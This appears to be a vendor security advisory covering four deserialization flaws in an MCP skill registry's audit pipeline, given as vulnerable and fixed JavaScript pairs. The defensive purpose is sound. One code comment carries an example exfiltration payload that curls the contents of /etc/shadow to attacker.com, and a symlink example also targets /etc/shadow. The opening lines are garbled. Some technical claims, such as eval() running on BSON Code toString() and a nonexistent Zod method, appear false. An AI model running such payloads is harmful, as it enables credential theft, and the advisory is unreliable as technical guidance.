SA-SKL-DESER16 — Insecure Deserialization
Insecure Deserialization in MCP Skill Registry Audit Result Caching and Report Diffing Pipeline
The audit result caching and report diffing pipeline in an MCP skill registry processes serialized audit data from multiple sources: MongoDB BSON cache fields, Redis intermediate snapshots, S3-stored skill archives, and client-supplied export tokens. SA-SKL-DESER16 covers four deserialization vulnerabilities in this pipeline that enable remote code execution via BSON Code type evaluation, cache poisoning to elevate private audit visibility, symlink path traversal in archive extraction, and bulk private report export via unsigned tokens.
Code type at explanation field triggers eval() when diff engine calls toString() on verdict comparison; fix: reject BSON Code and CodeWithScope types post-deserialize + Zod schema validationJSON.parse + Object.assign into diff context — attacker with Redis write access injects isPublic:true; private audit appears in public leaderboard; fix: Zod schema post-parse; fetch isPublic from DB not cache/etc/hostname into findings; fix: validate all extracted paths against sandbox root; reject symlinksreportIds:[...all-ids...] and expiresAt:9999999999; bulk-exports all private reports; fix: opaque random token stored in DB; server-side state; single-use; 10-min expiryDESER16-001 — BSON Code type triggers eval in diff engine
The diff engine reads two audit snapshots from MongoDB using the native BSON driver and passes each finding's explanation field to a string comparison function. MongoDB's BSON format includes a Code type that represents JavaScript code. When the diff engine calls .toString() on a BSON Code object, Node.js's legacy BSON library evaluates the code in the current process context. An attacker who can write to the MongoDB cache collection — via any of the injection vulnerabilities in this catalog — can store a BSON Code value in the explanation field, triggering arbitrary code execution the next time a diff job processes that cached result.
// DESER16-001 — VULNERABLE
// BSON Code type in cache field triggers eval() when diff engine calls toString().
const { MongoClient, BSON } = require('mongodb');
async function diffAuditResults(snapshotA, snapshotB) {
const findingsA = await db.auditCache.findOne({ snapshotId: snapshotA });
const findingsB = await db.auditCache.findOne({ snapshotId: snapshotB });
for (const finding of findingsA.findings) {
// VULNERABLE: if finding.explanation is a BSON Code object, toString() calls eval()
const explanationStr = finding.explanation.toString(); // triggers eval() on BSON Code
compareFinding(explanationStr, findingsB);
}
}
// Attacker inserts into MongoDB:
// { explanation: new BSON.Code('require("child_process").execSync("curl attacker.com/$(cat /etc/shadow)")') }
// Next diff job call triggers RCE
Fix: After deserializing BSON from MongoDB, validate every field through a strict Zod schema before passing any values to downstream processing. Explicitly reject BSON Code and CodeWithScope types by checking instanceof BSON.Code before string coercion. Use allowJs: false in the MongoDB deserializer options if available, or parse cache fields with JSON.parse(JSON.stringify(doc)) to strip non-JSON-safe BSON types before processing.
// DESER16-001 — FIXED
const { BSON } = require('bson');
const { z } = require('zod');
const FindingSchema = z.object({
id: z.string().uuid(),
ruleId: z.string().regex(/^[A-Z0-9-]+$/),
severity: z.enum(['critical', 'high', 'medium', 'low']),
explanation: z.string().max(4096), // string only — BSON Code fails this check
line: z.number().int().optional(),
});
function sanitizeBsonDoc(doc) {
// Strip BSON Code types by round-tripping through JSON (BSON Code is not JSON-serializable)
return JSON.parse(JSON.stringify(doc, (key, val) => {
if (val instanceof BSON.Code) throw new Error(`BSON Code type rejected at key: ${key}`);
return val;
}));
}
async function diffAuditResults(snapshotA, snapshotB) {
const rawA = await db.auditCache.findOne({ snapshotId: snapshotA });
const sanitizedA = sanitizeBsonDoc(rawA);
const findingsA = z.array(FindingSchema).parse(sanitizedA.findings); // throws on BSON Code
// ... safe to process findingsA
}
DESER16-002 — Redis cache poisoning via JSON.parse + Object.assign elevates isPublic
The report diff job reads the previous audit snapshot from a Redis cache key using JSON.parse(await redis.get(key)) and then uses Object.assign(diffContext, parsedSnapshot) to populate the diff context object. If an attacker can write to Redis — via an exposed Redis port, a Redis SSRF, or a compromised worker process — they can inject {"isPublic": true} into the cached snapshot for a private audit. When the diff job runs, the poisoned isPublic: true propagates into the diff context and from there into the audit record update, causing the previously private audit to appear in the public leaderboard.
// DESER16-002 — VULNERABLE
// JSON.parse + Object.assign allows attacker-controlled Redis value to overwrite isPublic.
async function runDiffJob(auditId) {
const cacheKey = `audit:snapshot:${auditId}`;
const rawSnapshot = await redis.get(cacheKey);
const snapshot = JSON.parse(rawSnapshot); // attacker-controlled if Redis is writable
const diffContext = { auditId, orgId: req.user.orgId, isPublic: false };
Object.assign(diffContext, snapshot); // VULNERABLE: snapshot.isPublic:true overwrites diffContext.isPublic
await db.audits.update(auditId, diffContext); // isPublic:true persisted to DB
}
Fix: Never use Object.assign with untrusted data from an external store. Parse cached data through a strict Zod schema that only allows the expected fields — this prevents injection of unexpected fields like isPublic. Fetch authorization-sensitive flags (isPublic, orgId, planSlug) directly from the database on every write operation, never from cache.
// DESER16-002 — FIXED
const SnapshotSchema = z.object({
findings: z.array(FindingSchema),
scannedAt: z.string().datetime(),
scanDurationMs: z.number().int().nonneg(),
// isPublic is NOT in this schema — never read from cache
});
async function runDiffJob(auditId) {
const cacheKey = `audit:snapshot:${auditId}`;
const rawSnapshot = await redis.get(cacheKey);
// Strict schema parse — rejects isPublic and any other unexpected fields
const snapshot = SnapshotSchema.parse(JSON.parse(rawSnapshot));
// Fetch isPublic from DB — never from cache
const audit = await db.audits.findById(auditId);
const diffContext = {
auditId,
orgId: audit.orgId, // from DB
isPublic: audit.isPublic, // from DB — not from cache
findings: snapshot.findings,
scannedAt: snapshot.scannedAt,
};
await db.audits.update(auditId, diffContext);
}
DESER16-003 — tar.gz symlink traversal reads arbitrary files from host
The audit engine fetches skill submission archives from S3 as tar.gz files and extracts them into a sandbox directory before running static analysis. The extraction uses Node.js's tar library with default options, which follows symlinks during extraction. An attacker can craft an archive containing a symlink that points to an absolute path outside the sandbox directory (e.g., ../../etc/hostname). When the audit engine reads files from the extracted sandbox directory, it follows the symlink and reads the target file from the host filesystem. The file contents are then included in the audit findings output, leaking host filesystem data to the attacker through the audit report.
// DESER16-003 — VULNERABLE
// tar.extract follows symlinks — symlink traversal reads outside sandbox.
const tar = require('tar');
const path = require('path');
async function extractSkillArchive(s3Key, sandboxDir) {
const archivePath = await downloadFromS3(s3Key);
// VULNERABLE: tar.extract follows symlinks pointing outside sandboxDir
await tar.extract({ file: archivePath, cwd: sandboxDir });
return sandboxDir;
}
// evil.tar.gz contains:
// - symlink: code/secret.txt -> ../../../../etc/shadow
// audit engine reads code/secret.txt -> gets /etc/shadow contents -> appears in findings
Fix: After extraction, validate that every extracted file path resolves within the sandbox directory using path.resolve(). Explicitly reject any entry that is a symlink by checking the entry type before extraction. Use the filter option of the tar library to block symlink entries before they are written to disk. Set preservePaths: false to prevent absolute path entries.
// DESER16-003 — FIXED
const tar = require('tar');
const path = require('path');
const fs = require('fs');
async function extractSkillArchive(s3Key, sandboxDir) {
const archivePath = await downloadFromS3(s3Key);
const resolvedSandbox = path.resolve(sandboxDir);
await tar.extract({
file: archivePath,
cwd: resolvedSandbox,
preservePaths: false, // reject absolute paths
filter: (entryPath, entry) => {
// Reject symlinks before extraction
if (entry.type === 'SymbolicLink' || entry.type === 'Link') {
logger.warn('tar: rejected symlink entry', { entryPath, linkTarget: entry.linkpath });
return false;
}
// Reject path traversal — resolved path must stay within sandbox
const resolved = path.resolve(resolvedSandbox, entryPath);
if (!resolved.startsWith(resolvedSandbox + path.sep)) {
logger.warn('tar: rejected traversal entry', { entryPath, resolved });
return false;
}
return true;
}
});
return resolvedSandbox;
}
DESER16-004 — Unsigned base64 export token enables bulk private report export
The report export feature issues a time-limited export token that the client uses to download a zip of audit reports. The token is generated by base64-encoding a JSON object containing the list of report IDs, the requesting user's organization ID, and an expiry timestamp. When the download endpoint receives the token, it decodes the base64 JSON and processes the included report IDs directly. Because the token has no HMAC signature, an attacker can craft their own token with an arbitrary list of report IDs, any organization ID, and a far-future expiry timestamp, downloading all private reports in the registry.
// DESER16-004 — VULNERABLE
// Export token is base64 JSON without HMAC — trivially forgeable.
function generateExportToken(orgId, reportIds) {
const payload = { orgId, reportIds, expiresAt: Date.now() + 10 * 60 * 1000 };
return Buffer.from(JSON.stringify(payload)).toString('base64'); // no signature
}
router.get('/export', async (req, res) => {
const payload = JSON.parse(Buffer.from(req.query.token, 'base64').toString()); // no verification
if (payload.expiresAt < Date.now()) return res.status(401).json({ error: 'Expired' });
// VULNERABLE: attacker sets orgId to any org, reportIds to all IDs, expiresAt to future
const reports = await db.reports.findByIdsAndOrg(payload.reportIds, payload.orgId);
res.download(await zipReports(reports));
});
Fix: Replace client-side tokens with opaque random tokens stored server-side. Generate a cryptographically random token (e.g., 32-byte hex), store the associated report IDs, organization ID, and expiry in the database, and return only the token to the client. On download, look up the token server-side, verify it belongs to the requesting user's organization, enforce the expiry, and mark the token as used (single-use). Never trust client-supplied lists of resource IDs.
// DESER16-004 — FIXED
const crypto = require('crypto');
async function generateExportToken(orgId, reportIds, userId) {
// Validate that all reportIds belong to this org before issuing token
const count = await db.reports.countByIdsAndOrg(reportIds, orgId);
if (count !== reportIds.length) throw new Error('Report not found');
const token = crypto.randomBytes(32).toString('hex');
await db.exportTokens.create({
token, orgId, reportIds, userId, used: false,
expiresAt: new Date(Date.now() + 10 * 60 * 1000) // 10-minute expiry
});
return token;
}
router.get('/export', requireSession, async (req, res) => {
const record = await db.exportTokens.findByToken(req.query.token);
if (!record) return res.status(401).json({ error: 'Invalid token' });
if (record.used) return res.status(410).json({ error: 'Token already used' });
if (record.expiresAt < new Date()) return res.status(401).json({ error: 'Token expired' });
// Verify token belongs to the authenticated user's org
if (record.orgId !== req.user.orgId) return res.status(403).json({ error: 'Forbidden' });
await db.exportTokens.markUsed(record.token); // single-use
const reports = await db.reports.findByIdsAndOrg(record.reportIds, record.orgId);
res.download(await zipReports(reports));
});
Summary
| Finding | Pattern | Severity | Fix |
|---|---|---|---|
| DESER16-001 | BSON Code type in cache field triggers eval() in diff engine | CRITICAL | Reject BSON Code types; Zod schema validation after deserialization |
| DESER16-002 | Redis cache poisoning via JSON.parse + Object.assign elevates isPublic | HIGH | Strict Zod schema post-parse; fetch authorization flags from DB not cache |
| DESER16-003 | tar.gz symlink traversal reads host filesystem files into audit findings | HIGH | Validate extracted paths against sandbox root; reject symlinks before extraction |
| DESER16-004 | Base64 JSON export token without HMAC — forgeable to bulk-export all reports | CRITICAL | Opaque random token stored in DB; server-side state; single-use; 10-min expiry |
Related: SA-SKL-DESER15 (skill dependency resolution and lockfile parsing deserialization), SA-SKL-DESER14 (skill configuration schema validation pipeline). Run SkillAudit to detect all DESER16 patterns in your MCP skill registry.